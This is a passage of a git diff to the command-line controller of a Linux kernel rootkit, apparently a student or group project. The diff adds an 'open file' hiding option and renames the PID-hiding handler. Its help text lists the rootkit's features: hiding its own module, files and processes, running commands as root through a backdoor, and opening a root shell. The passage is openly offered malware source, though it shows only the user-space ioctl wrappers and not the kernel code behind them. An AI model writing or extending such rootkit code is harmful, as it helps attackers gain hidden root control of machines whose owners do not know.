}; help(); exit(1); @@ -123,6 +136,12 @@ handle_filehide(void *arg) } int +handle_openhide(void *arg) +{ + return issue_ioctl(G7_OPENHIDE, (const char *)arg); +} + +int handle_backdoor(void *arg) { return issue_ioctl(G7_BACKDOOR, (const char *)arg); @@ -160,9 +179,9 @@ handle_togglebd(void *arg) } int -handle_hidepid(void *arg) +handle_pidhide(void *arg) { - return issue_ioctl(G7_HIDEPID, (const char *)arg); + return issue_ioctl(G7_PIDHIDE, (const char *)arg); } int @@ -192,7 +211,7 @@ help() printf("%-32s %s\n", "ping", "send an echo request to the rootkit"); printf("%-32s %s\n", "unload", "gracefully unload the rootkit module"); printf("%-32s %s\n", "modhide <on | off>", "{,un}hide rootkit module"); - printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files"); + printf("%-32s %s\n", "filehide [open] <toggle | on | off>", "{,un}hide [open] files"); printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root"); printf("%-32s %s\n", "shell", "obtain a shell as root"); printf("%-32s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or tty (1)"); diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h @@ -26,6 +26,6 @@ int handle_filehide(void *); int handle_backdoor(void *); int handle_shellbd(void *); int handle_togglebd(void *); -int handle_hidepid(void *); +int handle_pidhide(void *); #endif//_GROUP7_RKCTL_H diff --git a/src/rootkit.h b/src/rootkit.h @@ -14,7 +14,7 @@ typedef struct { bool hiding_module; bool hiding_files; bool hiding_pids; - bool hiding_open_files; + bool hiding_open; bd_state_t backdoor; } rootkit_t;